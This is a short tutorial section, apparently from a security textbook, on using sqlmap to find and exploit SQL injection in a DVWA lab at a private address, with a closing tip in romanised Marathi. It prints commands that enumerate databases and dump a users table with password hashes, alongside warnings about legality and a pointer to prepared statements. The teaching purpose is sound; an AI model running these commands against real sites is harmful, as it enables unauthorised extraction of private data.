21.6 sqlmap: Testing for SQL Injection

By Ravindra Bagale Last updated: 27 September 2026

sqlmap automates finding and exploiting SQL injection – one of the most dangerous web bugs (CWE-89). You feed it a request; it tests the parameters and, if one is injectable, can list databases, tables and rows. Lab only.

# a GET parameter
sqlmap -u "http://192.168.56.20/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"
# let it enumerate
sqlmap -u "...id=1..." --cookie="..." --dbs            # list databases
sqlmap -u "...id=1..." --cookie="..." -D dvwa --tables # tables in a database
sqlmap -u "...id=1..." --cookie="..." -D dvwa -T users --dump   # dump a table
# easiest: save the request from Burp to a file, then:
sqlmap -r request.txt --batch --dbs

The cookie is needed because DVWA requires you to be logged in – you copy it from Burp. --batch accepts the default answers.

sqlmap is a real attack tool

--dump reads real data out of the database. That is exactly why it is illegal against any site you do not own. Confirm you are pointed at 192.168.56.20 before every run.

Ravindra Bagale's Tip

sqlmap sopa aahe mhanun students SQL injection samjun ghenyachi tasdi ghet nahit. Interview madhe "sqlmap kasa chalavtos" nahi, tar "SQL injection kay aahe aani kasa thambavtos" vichartat. Tool nantar, concept aadhi – to Chapter 27 madhe (prepared statements) shiku.

Lab

In DVWA at "SQL Injection" (security = low), copy the request from Burp into request.txt, run sqlmap -r request.txt --batch --dbs, then dump the users table. Note the password hashes. Then set DVWA security to "high" and run sqlmap again to see it fail – that is what a fixed app looks like.